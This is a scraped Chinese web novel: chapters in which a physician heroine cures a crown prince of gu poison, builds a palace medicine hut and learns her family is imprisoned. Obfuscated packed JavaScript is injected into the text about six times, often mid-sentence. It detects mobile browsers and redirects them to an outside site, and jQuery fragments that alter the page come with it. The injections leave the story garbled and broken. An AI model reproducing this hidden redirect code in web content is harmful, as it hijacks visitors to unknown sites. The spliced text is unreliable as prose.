“没有若是!”沈青黛把琉璃瓶塞到他手里,“解毒需要一个时辰,期间会有剧痛。” 她突然压低声音,“我怀疑东宫有内鬼,一会儿开始后……” 萧景翊不动声色地抬手,做了个隐蔽的手势。 窗外的树影微微晃动,暗处的暗卫悄然退去。 沈青黛这才放心地点头,指着琉璃瓶里琥珀色的液体。 “服下后,你会感觉五脏六腑像被火烤,这是药力在拔除毒素。千万忍住,一旦中断……” 萧景翊仰头将药液一饮而尽。 不到半盏茶功夫,他脸色涨得通红,额头上青筋暴起,双手死死攥住椅子扶手。 沈青黛立刻掏出银针,找准他身上的大椎、命门等穴位扎下:“运功配合药力!把毒素往劳宫穴逼!” “哈……”萧景翊闷哼一声,突然喷出一口黑血,溅在地上腾起阵阵白烟。 沈青黛眼疾手快用帕子接住,神色凝重:“果然是当年的‘蚀心蛊’,毒性比我预想的还要霸道。” 她又取出一颗泛着银光的药丸:“含在舌下,能暂缓疼痛。” 见萧景翊疼得浑身发抖,她心里发酸,嘴上却还在打气,“殿下忍忍,当年你能扛过中蛊之痛,现在更不能认输!” 萧景翊咬着牙点点头。 沈青黛深吸一口气,从怀中掏出一个精致的小瓶,里面装着暗红色的液体——正是她之前准备的半成品回魂丹。 但要彻底拔除这陈年蛊毒,还需要一味至关重要的药引。 “殿下,得罪了。”沈青黛眼神一狠,迅速掏出银针,毫不犹豫地刺向萧景翊心口位置。 鲜血瞬间渗出,她连忙将回魂丹倒在伤口处。 随着鲜血与丹药的融合,诡异的事情发生了。 萧景翊心口位置的皮肤开始不断凸起蠕动,仿佛有什么东西在皮下乱窜。沈青黛脸色瞬间变得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15882810|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煞白:“不好!除了蛊毒,竟然还有蛊虫!” 情况危急,容不得她多想。 沈青黛一咬牙,猛地抓起桌上的**,狠狠刺向自己的指尖。 鲜血顿时涌出,她迅速将流血的指尖按在萧景翊心口,以血为引。 剧烈的疼痛让沈青黛额头冒出了冷汗,但她死死咬着嘴唇,强撑着。 萧景翊虽然疼得意识模糊,却还是看到了沈青黛决绝的举动。 一股从未有过的情绪涌上心头,他挣扎着想要伸手阻止:“别……别这样……” “别动!”沈青黛呵斥道,“不想死就老老实实躺着!” 终于,在沈青黛的坚持下,一条黑色的蛊虫顺着伤口爬了出来。 沈青黛眼疾手快,迅速用事先准备好的瓷瓶将蛊虫扣住。 确定蛊虫被收服后,她这才松了口气,整个人瘫倒在地。 萧景翊看着脸色苍白的沈青黛,心里涌起一股陌生的悸动。 他强撑着虚弱的身体,艰难地开口:“为什么要这么拼命……” “还不是为了救你!”沈青黛没好气地白了他一眼。 “你要是**,我这么久的心血不都白费了?而且柳如烟还没解决,你可不能这么早下线!” 萧景翊原本升起的那丝感动瞬间被她的话浇灭,没好气地说:“早知道你这么想,我就不该问!” “嘁,好心当成驴肝肺。” 沈青黛挣扎着爬起来,给自己的手指缠上布条。 “不过说真的,这次能彻底清除蛊毒和蛊虫,还得多亏你这心头血。不过你也够倒霉的,中了毒就算了,竟然还被人下了蛊。” 萧景翊活动了下有些僵硬的身体,突然愣住了。 往常这个时候,哪怕裹着厚厚的貂裘,他也觉得寒意从骨头缝里钻出来,可此刻竟浑身暖洋洋的。 他下意识摸了摸心口,那里不再像以前那样隐隐作痛,“奇怪……我的畏寒症……” “当然好了!”沈青黛得意地扬起下巴。 第六十七章 想要什么奖励 “我这可是祖传的解毒法子,不仅能祛毒,连带着你这些年被蛊毒折腾落下的病根都能一并解决!怎么样,本姑娘厉害吧?” 萧景翊看着她神采飞扬的模样,心里某处柔软的地方被轻轻触动。 这么多年来,他身边的人要么是为了权势靠近,要么是出于职责照顾,可像沈青黛这样,敢用自己的血去引蛊,豁出命也要救他的,还是第一个。 “青黛,你想要什么奖励?”萧景翊突然开口。 沈青黛眼睛一亮,凑到他跟前,“我能随便提?真的什么都可以?” “只要本太子能做到。” 沈青黛转了转眼珠子,试探着说,“那个……我想在东宫建个小药庐。” “你也知道,我平时研究医术、配制药丸,总在寝殿里弄,春桃都抱怨好几次了,说满屋子都是药味。” “有个专门的地方,我也能更方便地帮你研制新药,还能教清莹认草药……” 她越说声音越小,心里有些忐忑。 毕竟在东宫里大兴土木建房子,可不是小事。 没想到萧景翊想都没想就点头答应,“准了。明日我就让人在东花园旁边收拾出一块地方,随你怎么布置。” “真的?”沈青黛激动得跳起来,一时忘了分寸,在萧景翊脸颊上“吧唧”亲了一口,“殿下你真好!” 就在这时,门“吱呀”一声被推开,琳琅端着糕点站在门口,眼睛瞪得老大。 她手里的托盘“哐当”一声掉在地上,糕点撒了一地。 沈青黛这才反应过来自己干了什么,脸“唰”地一下红了。 但她脑子转得飞快,立刻挺直腰板,摆出一副良娣的架势,“琳琅,你这是干什么?冒冒失失的,成何体统!” 琳琅完全傻了,结结巴巴地说,“殿、殿下……沈良娣……你们……” 萧景翊倒是很淡定,抬手揉了揉被亲的脸颊,嘴角还带着若有若无的笑意,“没规矩,还不快退下。” 等琳琅恍恍惚惚地退出去,沈青黛拍着胸口松了口气。 “差点露馅!不过我本来就是良娣,亲你怎么了?再说了,你还没有太子妃呢……” 她越说越小声,突然觉得自己这话有点不对劲。 萧景翊却饶有兴致地看着她,“这么说,你还挺在意有没有太子妃?” “谁、谁在意了!”沈青黛瞪了他一眼。 “我只是提醒你,我现在可是名正言顺住在东宫的良娣,亲你一下怎么了?以后我在东宫里建了药庐,就是我的地盘,我说了算!” “好好好,你的地盘你说了算。”萧景翊无奈地笑了笑,心里却莫名有些开心。 接下来的日子,东宫里可热闹了。 工匠们在东花园旁边热火朝天地搭建药庐,沈青黛天天戴着草帽,挽着袖子在现场监工。 “李师傅,这个药柜必须朝南放!”沈青黛踮着脚,指着刚抬进来的榆木药柜。 “药材见不得湿气,南边通风好,能省不少事!” 扛着药柜的工匠们累得直喘气:“沈良娣,这柜子忒沉了,您就让放这儿吧?” “不行不行!”沈青黛急得直跺脚,转头看见路过的小太监,眼睛一亮。 “小顺子!快去把太子殿下的侍卫叫来帮忙!就说……就说我这儿有急事!” 小顺子挠挠头:“可殿下吩咐过,没要紧事不能打扰……” “怎么没要紧事?这药庐建不好,以后太子殿下**了谁来救?”沈青黛叉着腰,唬得小顺子撒腿就跑。 这边正闹着,萧清莹蹦蹦跳跳地跑过来,手里捧着一把野雏菊。 “沈姐姐!你看我采的花好不好看?放在药庐门口肯定特别香!” “清莹来得正好!” 沈青黛拉着她蹲下,从袖兜里掏出一把银针。 “帮姐姐试试这地砖平不平,要是有缝,以后药材受潮就麻烦了。” 萧清莹眼睛亮晶晶的,有样学样地把银针**砖缝,突然皱起鼻子:“呀!这边低一块!” 话音刚落,一阵脚步声传来。 萧景翊一身玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈青黛站在门口,满意地看着挂好的匾额,夕阳的余晖洒在“青黛药庐”四个烫金大字上,映得她的眼睛亮晶晶的。 “殿下你看!”她拽着萧景翊的袖子直晃悠,“等把药架子摆满,再挂上我画的药材图谱,肯定特别气派!” 第六十八章 怎么说话的 萧景翊嘴角不自觉上扬,还没来得及开口,身后突然传来一声冷哼。 琳琅端着茶盏站在廊下,眼尾挑起一抹嘲讽。 “不过是个药庐,沈良娣也太把自己当回事了,难不成还真以为成了东宫的主子?” 沈青黛的笑容瞬间僵在脸上,转头就看见琳琅仰着下巴,眼神里满是不屑。 还没等她开口,萧景翊已经冷下脸来,周身气息骤然变冷:“琳琅,谁准你这么跟沈良娣说话的?” 琳琅脸色一白,手中的茶盏晃了晃,强撑着道:“殿下,奴婢只是实话实说。自从沈良娣来了之后,东宫上下鸡飞狗跳,殿下的安危……” “住口!”萧景翊打断她,“你的毒已经解了,既然有力气说闲话,明日起就去浣衣局报到。” “殿下!”琳琅脸色瞬间变得惨白,扑通一声跪了下来。 “奴婢伺候殿下多年,没有功劳也有苦劳,为什么要赶奴婢去浣衣局?” 沈青黛看着琳琅通红的眼眶,突然想起她之前为了保护萧景翊也受过伤,心里一软,扯了扯萧景翊的衣角。 “殿下,要不……” “青黛,你不必求情。”萧景翊目光冰冷地扫过琳琅,“尊卑有序,她该为自己的言行付出代价。” “等等!”沈青黛突然眼睛一亮,绕着琳琅转了一圈。 “我看琳琅姑娘眼神不错,不如来帮我侍弄药庐的花草?药庐里那些珍贵的草药,正愁没人照料呢。” 琳琅猛地抬头,不可置信地看着沈青黛,眼神里还带着警惕:“你……为什么要帮我?” “当然是为了我自己!”沈青黛叉着腰,笑嘻嘻地说。 “你想想,要是你去了浣衣局,谁来帮我盯着那些娇气的曼陀罗?万一有人不小心碰坏了,我拿什么给殿下研制解药?” 萧景翊看着她一本正经胡说八道的样子,忍不住咳嗽一声掩饰笑意:“既然沈良娣开口了,就暂且留在药庐。不过——” 他眼神重新冷下来,盯着琳琅,“若再有冒犯,本太子绝不会轻饶。” 琳琅咬着嘴唇,不甘心地福了福身:“谢殿下,谢沈良娣……” 话音未落,就听见沈青黛拍手笑道:“太好了!” “明天开始,你就跟着清莹学认草药,顺便把药庐后面那块地翻一翻,我打算种点芍药和白芷……” “沈良娣!”琳琅气得脸色发青,“奴婢是殿下的贴身侍女,不是花匠!” “现在是了。”沈青黛眨眨眼,从袖兜里掏出一本皱巴巴的《种植大全》塞到她手里。 “拿着,这可是我好不容易从太医院顺来的,好好学,争取三个月内把药庐的花花草草都摸透!” 萧景翊看着沈青黛连哄带骗的样子,无奈地摇摇头:“青黛,明日工部会送来新的药材柜,你……” “放心放心!”沈青黛摆摆手。 “我已经让小顺子去召集人手了。对了殿下,你说药庐需不需要养条狗?” “上次清莹被御花园的野猫追着跑,有狗守着就安全多了……” 看着两人你一言我一语,完全把自己晾在一边,琳琅攥紧了手中的书册,指甲几乎掐进掌心。 她恨恨地瞪了沈青黛一眼,转身就走,心里暗暗发誓:“沈青黛,你给我等着,总有一天……” “琳琅姑娘别走啊!” 沈青黛突然在身后喊了一声,吓得她浑身一激灵。 “记得明天寅时来药庐报到,我们要给新种的灵芝浇水!” 琳琅咬着牙,头也不回地加快了脚步。 第二天天还没亮,沈青黛就顶着两个黑眼圈,拉着睡眼惺忪的春桃往药庐跑。 远远看见琳琅裹着件单薄的衣服,正蹲在地上对着药草发脾气,手里的水壶歪歪斜斜地往下漏水。 “哟,来得挺早啊!”沈青黛笑嘻嘻地凑过去,伸手把她拽起来。 “赶紧的,小顺子找了五个小太监来帮忙,咱们今天得把药材架子都擦一遍!” 琳琅甩开她的手,冷着脸道:“沈良娣身份尊贵,何必来干这些粗活?” “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15882812|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你就不懂了吧?”沈青黛抄起抹布,在架子上用力擦了两下,“亲手摆弄药材,才能闻出它们的脾气!就像……” 她突然压低声音,“就像琢磨殿下的心思,得花功夫!” 琳琅的脸“腾”地红了,抓起扫帚就开始扫地,嘴里嘟囔:“谁要琢磨殿下……” 正闹着,外头传来一阵嬉闹声。 萧景明带着几个侍卫晃悠过来,手里还举着根糖葫芦。 “沈姐姐!听说你这儿开了‘小太医院’,本皇子来捧个场!” 沈青黛差点把抹布甩他脸上:“十皇子殿下,您这糖葫芦滴的糖浆,都快把我的当归腌入味了!” 萧景明嘿嘿一笑,把糖葫芦往侍卫手里一塞,凑到药架子前。 “话说回来,我母妃最近又犯头疼了。你上次给的药吃完了,还有没有存货?” 沈青黛放下抹布,从抽屉里摸出个小瓷瓶:“先拿着这些药丸,能暂时压制。但要根治……” 她皱着眉看向窗外,“得施九转金针,再配上千年人参和天山雪莲。这些药材,宫里怕是不好找。” 萧景明的脸垮了下来:“这么麻烦?那皇后娘娘宫里说不定有……” “打住!”沈青黛抬手在他眼前晃了晃。 “十殿下,皇后身边的人,没几个是省油的灯。上次长乐公主**的事儿,你忘了?” 萧景明挠挠头:“可我觉得吧,也不全是坏人……” “我是例外。”沈青黛突然严肃起来,往他手里塞了颗润喉糖。 “记住,在宫里,除了太子殿下和清莹,谁给的东西都别往嘴里送。尤其是柳如烟和她那些爪牙!” 萧景明嚼着糖,含糊不清地说:“知道啦!不过沈姐姐,你这么厉害,干脆去当女官得了,何必窝在这药庐里?” “这你就不懂了!”沈青黛跳上药材架子,晃着两条腿,“药庐就是我的江湖!等我种出能解百毒的神药,看谁还敢在宫里横着走!” “口气倒是不小。”一道低沉的声音突然从门口传来。 第六十九章 顽疾 萧景翊负手而立,玄色衣袍被风掀起一角,脸上似笑非笑,“十皇弟,在本宫的地盘上挖人?” 萧景明吓得一哆嗦,差点把糖咽进气管,手忙脚乱地作揖:“皇兄!我就是开个玩笑!沈姐姐她……” “皇后身边不全是坏人?不见得有这种意外。” 萧景翊缓步走进来,目光扫过架子上摆放整齐的药罐。 “皇宫里没有无缘无故的善意,今天对你示好的人,明天就可能在背后捅刀。十皇弟,对每个人都要保持警惕。” 沈青黛翻了个大大的白眼:“殿下又开始危言耸听了。十皇子不过是随口感慨一句!” 她突然想起什么,从袖袋里掏出个小瓷瓶,“不过仔细想想,殿下说得也有道理。沈弟弟,接着!” 萧景明下意识接住,看着瓶身歪歪扭扭写着的“整蛊一号”,满脸问号:“沈姐姐,这、这是什么?” “不致命的小玩意儿!”沈青黛眼睛亮晶晶的。 “吃了会狂打喷嚏的‘阿嚏粉’,还有让人说不出话的‘哑巴丹’!你在宫里走动多,万一遇到心怀不轨的,往他们茶水里悄悄一倒……” “胡闹!”萧景翊皱着眉伸手要夺,却被沈青黛灵活躲开。 她躲到萧景明身后,探出脑袋:“殿下,十皇子心思单纯,在宫里就是小绵羊掉进狼群里。这些东西关键时刻能防身!” 萧景明听着“单纯”二字,心里美滋滋的,赶紧把瓷瓶揣进怀里。 “就是就是!皇兄,沈姐姐也是为我好!上次有人哄我去赌钱,要是我当时有这个……” “你还真去赌钱了?”萧景翊眉峰一挑,吓得萧景明脖子一缩。 沈青黛连忙打圆场,举起三根手指:“我发誓,这些药都是让人吃点苦头,绝对不伤根本!就当是给坏人一个教训!” 萧景翊看着她较真的模样,无奈地叹了口气:“随你,但别闯出大祸。” 他转头看向萧景明,语气严肃了几分,“十皇弟,保护自己不是靠这些旁门左道。你该学着看清人心。” 萧景明挠挠头:“知道啦皇兄!有沈姐姐给我撑腰,还有你暗中护着,我肯定没事!” 沈青黛又往他手里塞了一包草药:“这是安神的,拿回去给晨妃娘娘。记得,谁给的东西都别随便吃,除了我和太子殿下给的!” “遵命!”萧景明把草药和瓷瓶小心收好,“那我先回去啦!等宫宴那天,我给你们加油!” 等萧景明蹦蹦跳跳地离开,沈青黛叉着腰看向萧景翊:“殿下刚才是不是太凶了?十皇子就是性子单纯了些。” “就是因为单纯,才容易被人利用。” 萧景翊走到药材架前,指尖划过瓶瓶罐罐,“柳如烟他们不会放过任何机会,皇后那边的势力盘根错节……” “好啦好啦!”沈青黛跳下来。 “我会多盯着十皇子的。不过殿下,你也别总把人想得这么坏嘛!说不定真有真心对十皇子好的人呢?” 萧景翊看着她眼里闪烁的光,鬼使神差地说了句:“希望如此。但在真相浮出水面之前,我不会让任何人伤害到你们。” 沈青黛愣了一下,脸颊突然有些发烫,赶紧转身收拾药罐。 “谁要你保护了!我自己就能保护好自己,还有十皇子、清莹……总之,这个皇宫里仅存的单纯,我护定了!” 萧景翊看着她忙碌的背影,嘴角不自觉地扬起,轻声道:“那就一起护着。” 沈青黛耳朵尖动了动,假装没听见,手上加快了整理药材的动作。 春桃抱着一捆新晒好的艾草进来,咋咋呼呼地喊:“主子!工匠们说药庐已经收拾妥当了,就等您去验收!” “这么快?”沈青黛眼睛一亮,把手里的药罐一放,“走!去看看我的‘小江湖’!” 她跑得太急,裙摆扫过萧景翊的靴面,带起一阵淡淡的药香。 萧景翊看着她风风火火的背影,摇头笑了笑,抬脚也跟了上去。 新落成的药庐虽然简易,却五脏俱全。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884921|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 朝南的大窗透进阳光,整排榆木药柜擦得锃亮,墙上歪歪扭扭挂着沈青黛手绘的《本草图》。 沈青黛这儿摸摸、那儿看看,最后一屁股坐在自制的草编蒲团上,感慨道:“不容易啊,以后终于不用在寝室里捣鼓药材,熏得春桃天天念叨了!” “沈姐姐!沈姐姐!” 萧景明的大嗓门从外头传来,人还没到,糖葫芦先甩了进来。 “听说药庐建好啦,我来贺喜!” 沈青黛接住差点砸到药罐的糖葫芦,没好气地说:“十皇子,您这是来道喜还是来拆台?小心我把你这糖葫芦熬成止咳糖浆!” 萧景明嘿嘿笑着凑过来,突然压低声音:“沈姐姐,我听说您医术特别神,连太子皇兄的陈年旧疾都能治好?” “那当然!”沈青黛得意地仰起头,“怎么,你又头疼了?” “不是我!”萧景明摆摆手。 “是东宫有个陈嬷嬷,她腿上的顽疾十几年了,太医院的太医都说治不好。她平时最疼我了,沈姐姐,您能不能……” 沈青黛眼睛瞬间亮了,蹭地一下站起来:“还有我治不好的病?快!把人带来!正好试试我这新药庐的威力!” 萧景翊在一旁皱眉:“青黛,太医院都束手无策的病,你别贸然……” “殿下!”沈青黛转身,眼睛亮晶晶的像只跃跃欲试的小狐狸,“医书上说,医者最忌畏手畏脚。您就让我试试嘛!” 萧景翊看着她期待的眼神,到嘴边的劝阻又咽了回去,只能无奈道:“随你,但一切以安全为重。” 沈青黛冲他比了个鬼脸,转头就拉住萧景明的袖子:“十皇子快带我去!我都等不及大展身手了!” 两人风风火火地跑远,萧景翊望着他们的背影,犹豫片刻,还是悄悄跟了上去。 不多时,沈青黛见到了拄着拐杖的陈嬷嬷。 老人头发花白,眼神却透着精明,看到沈青黛年轻的模样,眼中闪过一丝怀疑:“这就是那位神医姑娘?” 第七十章 问这个做什么 “陈嬷嬷,沈姐姐可厉害了!太子皇兄的病都是她治好的!”萧景明连忙介绍。 陈嬷嬷微微欠身,语气却很疏离。 “老身腿上的毛病太顽固,连太医院的太医们都束手无策,怕是要让姑娘白费功夫了。” 沈青黛看出了她的防备,也不介意,笑着说:“嬷嬷放心,我既然敢应下,就有几分把握。不过我这药庐里药材气味重,咱们进去慢慢说?” 说着便要扶陈嬷嬷。 陈嬷嬷不着痕迹地避开她的手,自己拄着拐杖往里走。 跟在暗处的萧景翊将这一幕看在眼里,眉头微皱。 进了药庐,沈青黛让春桃打来热水,又往里面加了几味草药:“嬷嬷,您先泡泡腿。这药浴能疏通经络,缓解疼痛。” 陈嬷嬷看着冒着热气的木桶,犹豫了一下:“这药……不会有问题吧?” “嬷嬷要是信不过,我先试给您看。”沈青黛说着,伸手就要往木桶里探。 “使不得使不得!”陈嬷嬷连忙拦住她,“老身试试便是。” 她慢慢将腿放进木桶,一股温热从脚底蔓延开来,原本僵硬的膝盖似乎真的轻松了些。 趁着陈嬷嬷泡药浴的功夫,沈青黛开始准备针灸。 她一边整理银针,一边闲聊:“听十皇子说,嬷嬷从小照顾太子殿下,一定很辛苦吧?” “殿下小时候身子弱,确实费了些心思。”提到萧景翊,陈嬷嬷的语气柔和了些,但很快又警惕起来,“姑娘问这个做什么?” “没别的意思,就是觉得嬷嬷和殿下感情深厚。” 沈青黛笑着说,“我看殿下虽然表面严肃,心里一定很在意嬷嬷。不然也不会默许我给您治病。” 陈嬷嬷没再说话,但眼神里多了几分思索。 药浴结束后,沈青黛开始施针。 她手法娴熟,银针如飞,不一会儿陈嬷嬷的膝盖周围就扎满了银针。 “嬷嬷可能会觉得有点酸胀,这是正常的。” 沈青黛一边行针,一边解释,“等把您经络里的寒气逼出来,腿就不会疼了。” 就在这时,沈青黛突然转头朝门口喊了一声:“殿下,既然来了,就别躲着了。” 萧景翊从暗处走了出来,有些尴尬地咳嗽一声:“本太子只是路过。” “路过还特意绕到窗户后头?”沈青黛调侃道,“我就说陈嬷嬷对您一定很重要,不然您怎么会偷偷来看?” 陈嬷嬷又惊又急:“殿下怎么亲自来了?老身这副样子,哪能让您看见……” “嬷嬷不必多礼。”萧景翊走到跟前,看着陈嬷嬷腿上的银针,“感觉如何?” “说来也怪,泡了药浴又扎了针,腿上确实轻松不少。” 陈嬷嬷有些难以置信,“老身疼了十几年,还以为这辈子都好不了了……” “这才刚开始呢。”沈青黛拔出银针,“嬷嬷连续泡七日药浴,再配合针灸,保管能让您扔掉拐杖!” “姑娘……”陈嬷嬷眼眶泛红,“老身之前多有冒犯,您大人有大量,别往心里去……” “嬷嬷这是说的哪里话!”沈青黛连忙扶起她,“治病救人是我的本分。只要嬷嬷的腿能好,比什么都强!” 萧景翊看着两人相谈甚欢,心里的石头落了地。 临走前,他对沈青黛说:“青黛,辛苦你了。” “跟我还客气什么?”沈青黛眨眨眼。 “不过作为回报,殿下得帮我弄点珍贵药材。我看陈嬷嬷这病,还得用点天山雪莲……” “都依你。”萧景翊难得痛快地答应了。 看着两人的互动,陈嬷嬷若有所思。她拉过沈青黛的手:“姑娘,老身之前以为你是皇后那边的人,多有防备……” “嬷嬷,我和皇后可没什么关系。”沈青黛认真地说,“我留在东宫,一是为了行医救人,二……” 她偷偷看了眼萧景翊,“二是想帮殿下分忧。” 陈嬷嬷了然地点点头,拍了拍她的手:“是老身以小人之心度君子之腹了。以后姑娘有什么需要,尽管吩咐老身!” 等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884922|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈嬷嬷拄着拐杖慢慢离开,沈青黛一屁股坐在草编蒲团上,笑得眼睛都眯成了缝。 “春桃!你看见没?陈嬷嬷刚才看我的眼神都不一样了!” 春桃端着药碗凑过来。 “主子,您这医术出神入化,以后整个皇宫的人都要求着您看病啦!” “那可不!”沈青黛美滋滋地晃着腿。 “我还想着,等陈嬷嬷的病好了,让她帮我宣传宣传,到时候开个义诊,什么头疼脑热、跌打损伤……” “就知道你在打主意。” 萧景翊不知何时又折返回来,伸手敲了敲她的脑袋。 “别忘了,三日后就是宫宴,柳如烟还等着看你笑话。” 沈青黛跳起来,拍掉他的手:“放心!我早就准备好了!到时候不仅要赢过她,还要让她输得心服口服!” 夜幕降临,药庐里的烛火摇曳。 沈青黛坐在案前整理医书,突然春桃神色慌张地跑进来:“主子!有人从门缝塞了张字条!” 沈青黛接过字条,借着烛光一看,上面歪歪扭扭写着:“沈姑娘,该想想你那被关在牢里的家人了。” 她的脸色瞬间变得煞白,捏着字条的手不住颤抖。 春桃吓得不轻:“主子,这……这是谁写的?” “别声张。”沈青黛把字条塞进袖中,“我出去一趟。” 东宫正殿里,萧景翊正在批阅奏折,就见沈青黛风风火火地闯了进来。 “殿下!”沈青黛也顾不得行礼,“求您救救我的家人!他们被陆琼华关起来了,我……” 萧景翊放下毛笔,神色平静:“沈青黛,我们之前说好了,只是合作关系。你帮我解毒、查明真相,我保你在宫里平安。” “可我家人……” “陆琼华既然敢动手,就不会轻易放人。”萧景翊打断她,“而且现在贸然行动,只会打草惊蛇。” 沈青黛急得眼眶发红:“所以您就眼睁睁看着他们受苦?我拼命帮您,连命都豁出去了,现在不过求您……” 第七十一章 没说不管 “我没说不管。”萧景翊起身走到她面前,“但做事要讲究时机。你想想,若是因为救家人坏了大局,到时候柳如烟、威远侯府……” “我不管什么大局!”沈青黛甩开他的手,“在我心里,家人最重要!” 萧景翊眉头紧皱:“沈青黛,别任性!你以为陆琼华为什么留着你家人?就是要拿他们当筹码,逼你就范!” 沈青黛愣住了,泪水在眼眶里打转。 她何尝不明白这个道理,可一想到年迈的父母被关在暗无天日的地牢里,心就像被针扎一样疼。 “那……那我该怎么办?”她声音哽咽,“我不能什么都不做……” 萧景翊叹了口气,语气缓和了些。 “先别急。我会派人去查你家人的下落,等宫宴之后,找个万全之策。但在此之前,你必须稳住,不能露出破绽。” 沈青黛咬着嘴唇,缓缓点头。 她知道萧景翊说得对,可心里的担忧和愧疚却怎么也压不下去。 “我每天都在想,他们是不是饿着肚子,是不是受了伤……” 她声音发颤,“万一陆琼华狗急跳墙……” “不会。”萧景翊突然伸手按住她颤抖的肩膀,掌心的温度透过衣料传来。 “她留着你的家人,就是想牵制你。在彻底掌控你之前,不会动他们分毫。” 他顿了顿,“我以太子之名起誓,定会保你家人无恙。只是现在时机未到,强行救人只会让他们陷入更危险的境地。” 沈青黛抬起头,泪水在眼眶里打转:“那要等到什么时候?一个月?一年?” “最多等到宫宴之后。”萧景翊松开手,背过身去望向窗外的夜色。 “柳如烟和威远侯府在宫宴上必定有所行动,等我们揭穿他们的阴谋,陆琼华便自顾不暇。到那时,救你的家人易如反掌。” 沈青黛攥紧裙摆,指甲在布料上揪出褶皱。 “我可以等,但你必须答应我,这段时间要派人暗中保护他们。要是我家人少一根头发,我……我就算拼了命也要找陆琼华算账!” “本太子说话算话。”萧景翊转身时手里多了个小巧的锦囊,“这是我暗卫的联络信物,你若有任何异动,随时可以用它联系我。” 沈青黛接过锦囊,触感冰凉,上面绣着东宫特有的纹章。 她深吸一口气,努力让自己镇定下来。 “好,我信你。不过作为交换,我会把东宫内陆琼华的眼线全部肃清,让她变成聋子瞎子!” “全部肃清?”萧景翊挑眉,“不必如此。” 见沈青黛满脸疑惑,他走到桌前铺开一张泛黄的舆图,用朱砂笔在东宫各处点了几个红点。 “这些地方的眼线,你暂且留着。” “为什么?”沈青黛凑过去,看着舆图上密密麻麻的标记,“留着这些人,就像留着定时**!” “正因为是**,才有用处。”萧景翊用笔尖敲了敲其中一个红点。 “比如掌管茶水间的王嬷嬷,表面上是皇后的人,实则在我这儿领双份俸禄。让她传出去的假消息,陆琼华反而会深信不疑。” 沈青黛眼睛一亮:“我懂了!就像下棋留子,关键时刻能反将一军!那具体要放什么假消息?” “宫宴的座位安排。”萧景翊嘴角勾起一抹算计的笑。 “让他们以为柳如烟的人能轻易接近你,再设个圈套等着他们往里钻。不过在此之前……” 他突然凑近,温热的呼吸扫过沈青黛的耳畔,“你得先找出真正忠于陆琼华的死士。” 沈青黛的脸腾地红了,往后退了半步:“靠……靠这么近做什么!找眼线的事包在我身上!” 她眼珠子一转,突然伸手去抢萧景翊手里的舆图,“把这个给我,我连夜研究!” “心急吃不了热豆腐。” 萧景翊抬手将舆图举高,看着她踮脚够不到的样子,难得露出几分促狭。 “明日我让人抄一份送去药庐。今晚,你先回去好好休息。” “我哪能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884923|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡得着!”沈青黛气呼呼地跺脚,“我现在满脑子都是怎么揪出眼线,怎么救家人,怎么在宫宴上打败柳如烟……” “所以更要休息。”萧景翊突然伸手在她额头上轻轻一弹。 “别忘了,你在宫宴上的对手可不止柳如烟一个。威远侯府的人个个都不是省油的灯,没养足精神,你拿什么和他们斗?” 沈青黛捂着额头,嘟囔道:“就会欺负我……” 话虽这么说,她也知道萧景翊是为她好。 